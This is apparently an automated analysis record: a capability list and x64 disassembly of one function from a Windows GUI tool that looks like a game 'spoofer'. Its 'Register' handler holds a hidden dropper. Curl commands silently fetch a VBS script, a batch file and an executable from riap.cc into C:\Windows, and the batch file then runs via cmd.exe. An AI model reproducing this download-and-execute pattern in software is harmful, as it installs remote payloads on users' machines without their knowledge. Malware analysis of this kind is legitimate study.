Function at 0x14003e6b0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Encode data using xor
Execute command
Hash data using djb2

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x198]
sub rsp, 0x270
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1401be040]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rbx, qword [0x1401c3720]
mov r12, rbx
mov rax, qword [rbx + 0x4048]
mov byte [rax + 0xc0], 1
mov r15, qword [rbx + 0x4048]
cmp byte [r15 + 0xc3], 0
jne 0x14003f126
movsxd r8, dword [r15 + 0x100]
mov rax, qword [r15 + 0x108]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea r14, str.Register
mov rcx, r14
call fcn.14000a9c0
mov esi, eax
mov rcx, qword [r15]
cmp dword [rcx + 0x4094], eax
jne 0x14003e763
mov r8, r14
mov edx, 0xb
mov ecx, eax
call fcn.140022b10
mov rbx, qword [0x1401c3720]
mov rcx, r14
cmp r14, 0xffffffffffffffff
jae 0x14003e78d
nop dword [rax]
movzx edx, byte [rcx]
test dl, dl
je 0x14003e78d
lea rax, [rcx + 1]
cmp dl, 0x23
jne 0x14003e784
cmp byte [rax], dl
je 0x14003e78d
mov rcx, rax
cmp rax, 0xffffffffffffffff
jb 0x14003e770
movss xmm7, dword [0x1401adfa8]
cmp r14, rcx
je 0x14003e7cb
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm7
movss xmm3, dword [0x1401adf9c]
movss xmm2, dword [rbx + 0x3d80]
lea rdx, [rsp + 0x58]
mov rcx, qword [rbx + 0x3d78]
call fcn.14002b170
movss xmm5, dword [r15 + 0x110]
movss xmm4, dword [r15 + 0x114]
movss xmm1, dword [0x1401be0a0]
movaps xmm0, xmm1
mulss xmm0, dword [0x1401adf00]
mulss xmm1, dword [0x1401adf5c]
movaps xmm3, xmm4
addss xmm3, xmm0
movaps xmm2, xmm5
addss xmm2, xmm1
movss dword [rsp + 0x78], xmm5
movss dword [rsp + 0x7c], xmm4
movss dword [rbp - 0x80], xmm2
movss dword [rbp - 0x7c], xmm3
subss xmm3, xmm4
subss xmm2, xmm5
movss dword [rsp + 0x50], xmm2
movss dword [rsp + 0x54], xmm3
movss xmm1, dword [r12 + 0x3928]
lea rcx, [rsp + 0x50]
call fcn.14001b420
xor r9d, r9d
xor r8d, r8d
mov edx, esi
lea rcx, [rsp + 0x78]
call fcn.14001b150
test al, al
je 0x14003f126
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401c3cc0], eax
jle 0x14003e8d5
lea rcx, [0x1401c3cc0]
call fcn.140072918
cmp dword [0x1401c3cc0], 0xffffffff
jne 0x14003e8d5
xorps xmm0, xmm0
movdqu xmmword [0x1401c3ce0], xmm0
mov ecx, 0x60
call fcn.140072e78
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [0x1401c3ce0], rax
lea rcx, [0x1400763a0]
call fcn.140072e60
nop
lea rcx, [0x1401c3cc0]
call fcn.1400728ac
mov rcx, qword [0x1401c3ce0]
mov rax, qword [rcx + 8]
mov rbx, rcx
cmp byte [rax + 0x19], 0
jne 0x14003e907
nop dword [rax]
cmp dword [rax + 0x20], esi
jae 0x14003e8fb
mov rax, qword [rax + 0x10]
jmp 0x14003e901
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14003e8f0
cmp byte [rbx + 0x19], 0
jne 0x14003e912
cmp esi, dword [rbx + 0x20]
jae 0x14003e915
mov rbx, rcx
cmp rbx, rcx
jne 0x14003ea0b
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rcx
movups xmmword [rbp - 0x70], xmm0
movdqa xmm2, xmmword [0x1401ae000]
mov byte [rbp - 0x70], cl
mov dword [rbp - 0x40], esi
mov eax, dword [rbp - 0x78]
mov dword [rbp - 0x38], eax
movups xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x20], xmm2
movdqu xmmword [rbp - 0x60], xmm2
mov byte [rbp - 0x70], cl
movss xmm0, dword [rbp - 0x50]
movss dword [rbp - 0x10], xmm0
movss xmm1, dword [rbp - 0x4c]
movss dword [rbp - 0xc], xmm1
mov dword [rbp - 8], ecx
movzx eax, byte [rbp - 0x44]
mov byte [rbp - 4], al
lea r8, [rbp - 0x40]
lea rdx, [rsp + 0x58]
lea rcx, [0x1401c3ce0]
call fcn.140040460
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14003e9d2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e9cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003e9cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072c30
nop
mov rcx, qword [0x1401c3ce0]
mov rax, qword [rcx + 8]
mov rbx, rcx
cmp byte [rax + 0x19], 0
jne 0x14003e9fd
cmp dword [rax + 0x20], esi
jae 0x14003e9f1
mov rax, qword [rax + 0x10]
jmp 0x14003e9f7
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14003e9e6
cmp byte [rbx + 0x19], 0
jne 0x14003ea08
cmp esi, dword [rbx + 0x20]
jae 0x14003ea0b
mov rbx, rcx
xor r13d, r13d
mov dword [rsp + 0x20], r13d
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x71]
mov edx, esi
lea rcx, [rsp + 0x78]
call fcn.14002f240
test al, al
je 0x14003ed1c
mov byte [rbx + 0x5c], 1
mov dword [rbx + 0x28], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r13b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400405d0
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x78]
mov rcx, rdi
call fcn.140040c70
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x30]
call fcn.14003fe40
nop
cmp qword [rbp + 0xb8], r13
je 0x14003eaf3
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
lea rcx, [rbp + 0x30]
call fcn.140040e10
lea rcx, [rbp + 0x38]
call fcn.140040220
test rax, rax
jne 0x14003eaf3
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.14003fdd0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003eb78
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003eb73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003eb73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072c30
lea rcx, str.curl_https:__riap.cc_filesp_regt.vbs___output_C:Windows_regt.vbs__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__riap.cc_filesp_register.bat___output_C:Windows_register.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__riap.cc_filesp_T.exe___output_C:WindowsT.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.cmd.exe__c
lea rcx, [rbp - 0x78]
call fcn.140039740
nop
mov r14, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
sub rax, r14
cmp rax, 0x17
jb 0x14003ebf7
lea rax, [r14 + 0x17]
mov qword [rbp - 0x68], rax
lea rdi, [rbp - 0x78]
cmp rcx, 7
cmova rdi, qword [rbp - 0x78]
lea rcx, [rdi + r14*2]
mov r8d, 0x2e
lea rdx, str.C:Windows_register.bat
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + r14*2 + 0x2e], r13w
jmp 0x14003ec15
mov qword [rsp + 0x20], 0x17
lea r9, str.C:Windows_register.bat
mov edx, 0x17
lea rcx, [rbp - 0x78]
call fcn.140040a10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
mov dword [rbp - 0x40], 0x68
mov dword [rbp - 4], 1
mov word [rbp], r13w
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rdx, qword [rbp - 0x78]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14003ecc1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x14003ed04
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ecff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ecff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072c30
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], r13w
lea r14, str.Register
mov edi, 0x1505
mov rax, qword [0x1401c3720]
lea rcx, str.spoof_text_col
lea rdx, [0x1401a79a6]
mov r8d, edi
movups xmm6, xmmword [rax + 0x3b84]
imul r8d, r8d, 0x21
movzx eax, byte [rcx]
xor r8d, eax
inc rcx
cmp rcx, rdx
jne 0x14003ed40
movss xmm3, dword [0x1401ade88]
mov edx, esi
mov rcx, r15
call fcn.140041340
lea rdx, [0x1401a716c]
lea rcx, str.p_button_col
imul edi, edi, 0x21
movzx eax, byte [rcx]
xor edi, eax
inc rcx
cmp rcx, rdx
jne 0x14003ed72
movss xmm3, dword [0x1401ade9c]
mov r8d, edi
mov edx, esi
mov rcx, r15
call fcn.140041340
mov rdi, rax
mov eax, dword [rbx + 0x28]
test eax, eax
jne 0x14003edcd
movss dword [rsp + 0x58], xmm6
movaps xmm0, xmm6
shufps xmm0, xmm6, 0x55
movss dword [rsp + 0x5c], xmm0
movaps xmm1, xmm6
shufps xmm1, xmm6, 0xaa
movss dword [rsp + 0x60], xmm1
shufps xmm6, xmm6, 0xff
movss dword [rsp + 0x64], xmm6
jmp 0x14003ee19
cmp eax, 1
jne 0x14003ee0c
movaps xmm1, xmm6
shufps xmm1, xmm6, 0x55
movaps xmm2, xmm6
shufps xmm2, xmm6, 0xaa
mov dword [rsp + 0x64], 0x3e19999a
movups xmm3, xmmword [rsp + 0x58]
movss xmm3, xmm6
shufps xmm3, xmm3, 0xe1
movss xmm3, xmm1
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm2
shufps xmm3, xmm3, 0xc9
movups xmmword [rsp + 0x58], xmm3
jmp 0x14003ee14
movdqa xmm3, xmmword [0x1401ae200]
movups xmmword [rsp + 0x58], xmm3
lea rcx, [rsp + 0x58]
movups xmm0, xmmword [rcx]
movq rax, xmm0
cmp rax, qword [rdi + 0x50]
jne 0x14003ee3c
psrldq xmm0, 8
movq rax, xmm0
cmp rax, qword [rdi + 0x58]
je 0x14003ee7c
movups xmm1, xmmword [rdi + 0x40]
movups xmm2, xmmword [rdi + 0x50]
subps xmm2, xmm1
movss xmm0, dword [rdi + 0x30]
shufps xmm0, xmm0, 0
mulps xmm2, xmm0
addps xmm2, xmm1
movups xmmword [rdi + 0x40], xmm2
movups xmm0, xmmword [rcx]
movups xmmword [rdi + 0x50], xmm0
movss xmm1, dword [rdi + 0x28]
movss dword [rdi + 0x30], xmm1
ucomiss xmm1, dword [rdi + 0x2c]
jp 0x14003ee77
jne 0x14003ee77
mov al, 1
jmp 0x14003ee79
xor al, al
mov byte [rdi + 8], al
movss xmm1, dword [rbx + 0x58]
movss xmm0, dword [0x1401adf60]
comiss xmm1, dword [0x1401adf4c]
jbe 0x14003ee9e
comiss xmm0, xmm1
jbe 0x14003ee9e
mov dword [rbx + 0x50], 0x40000000
comiss xmm1, xmm0
jbe 0x14003eeaa
mov dword [rbx + 0x50], 0x40400000
cmp byte [rbx + 0x5c], 0
je 0x14003ef36
mov rax, qword [0x1401c3720]
movss xmm0, dword [rax + 0x18]
mulss xmm0, dword [0x1401adef4]
addss xmm0, xmm1
movss dword [rbx + 0x58], xmm0
movss xmm0, dword [rbx + 0x50]
ucomiss xmm0, dword [0x1401ade6c]
jp 0x14003eeea
jne 0x14003eeea
mov dword [rbx + 0x28], 1
jmp 0x14003ef19
ucomiss xmm0, dword [0x1401ade98]
jp 0x14003eefe
jne 0x14003eefe
mov dword [rbx + 0x28], 3
jmp 0x14003ef19
ucomiss xmm0, dword [0x1401adea4]
jp 0x14003ef19
jne 0x14003ef19
mov dword [rbx + 0x28], r13d
mov dword [rbx + 0x50], r13d
mov dword [rbx + 0x58], r13d
mov byte [rbx + 0x5c], 0
mov eax, dword [rbx + 0x28]
test eax, eax
je 0x14003ef36
dec eax
cmp eax, 2
ja 0x14003ef48
mov r8d, 1
lea rdx, [0x1401a6d34]
jmp 0x14003ef3f
mov r8d, 8
mov rdx, r14
lea rcx, [rbx + 0x30]
call fcn.1400402e0
movups xmm1, xmmword [rdi + 0x40]
movups xmm2, xmmword [rdi + 0x50]
subps xmm2, xmm1
movss xmm0, dword [rdi + 0x30]
shufps xmm0, xmm0, 0
mulps xmm2, xmm0
addps xmm2, xmm1
movups xmmword [rsp + 0x58], xmm2
lea rcx, [rsp + 0x58]
call fcn.14000b030
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss xmm0, dword [r12 + 0x392c]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x78]
mov rcx, qword [r15 + 0x2a8]
call fcn.1400285a0
mov r9, qword [0x1401c3720]
cmp dword [rbx + 0x28], 1
jne 0x14003efe8
mov rax, qword [r9 + 0x4048]
mov byte [rax + 0xc0], 1
mov rax, qword [r9 + 0x4048]
mov rcx, qword [rax + 0x2a8]
mov eax, dword [rcx + 0x20]
mov dword [0x1401c3738], eax
movss xmm0, dword [r9 + 0x18]
mulss xmm0, dword [0x1401adec4]
addss xmm0, dword [rbx + 0x54]
movss dword [rbx + 0x54], xmm0
mov r14, qword [r15 + 0x2a8]
lea r8, [rbx + 0x30]
mov rdi, r8
movdqa xmm0, xmmword [0x1401ae580]
lea rcx, [rsp + 0x58]
movups xmmword [rsp + 0x58], xmm0
cmp qword [r8 + 0x18], 0xf
jbe 0x14003f01c
mov rdi, qword [r8]
call fcn.14000b030
mov r8, rdi
jmp 0x14003f021
call fcn.14000b030
mov esi, eax
movss xmm2, dword [r9 + 0x3d80]
xorps xmm6, xmm6
test r8, r8
jne 0x14003f039
xorps xmm3, xmm3
jmp 0x14003f081
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r8
movss dword [rsp + 0x20], xmm7
movss xmm3, dword [0x1401adf9c]
lea rdx, [rsp + 0x50]
mov rcx, qword [r9 + 0x3d78]
call fcn.14002b170
movss xmm2, dword [rsp + 0x54]
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [0x1401ade64]
cvttss2si eax, xmm0
movd xmm3, eax
cvtdq2ps xmm3, xmm3
movss xmm0, dword [rsp + 0x78]
addss xmm0, dword [rbp - 0x80]
movss xmm1, dword [0x1401ade34]
mulss xmm0, xmm1
mulss xmm3, xmm1
subss xmm0, xmm3
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [rsp + 0x7c]
addss xmm0, dword [rbp - 0x7c]
mulss xmm0, xmm1
mulss xmm2, xmm1
subss xmm0, xmm2
movss dword [rsp + 0x5c], xmm0
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm6
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], esi
lea r9, [rsp + 0x58]
xorps xmm2, xmm2
xor edx, edx
mov rcx, r14
call fcn.140028a70
cmp dword [rbx + 0x28], 1
jne 0x14003f121
lea rcx, [rsp + 0x58]
call fcn.14003cac0
movss xmm2, dword [rax + 4]
movss xmm0, dword [rbx + 0x54]
addss xmm0, dword [0x1401ade84]
movss xmm1, dword [rax]
unpcklps xmm1, xmm2
movq rdx, xmm1
call fcn.14003cc20
mov eax, dword [rbx + 0x28]
jmp 0x14003f128
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140072850
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret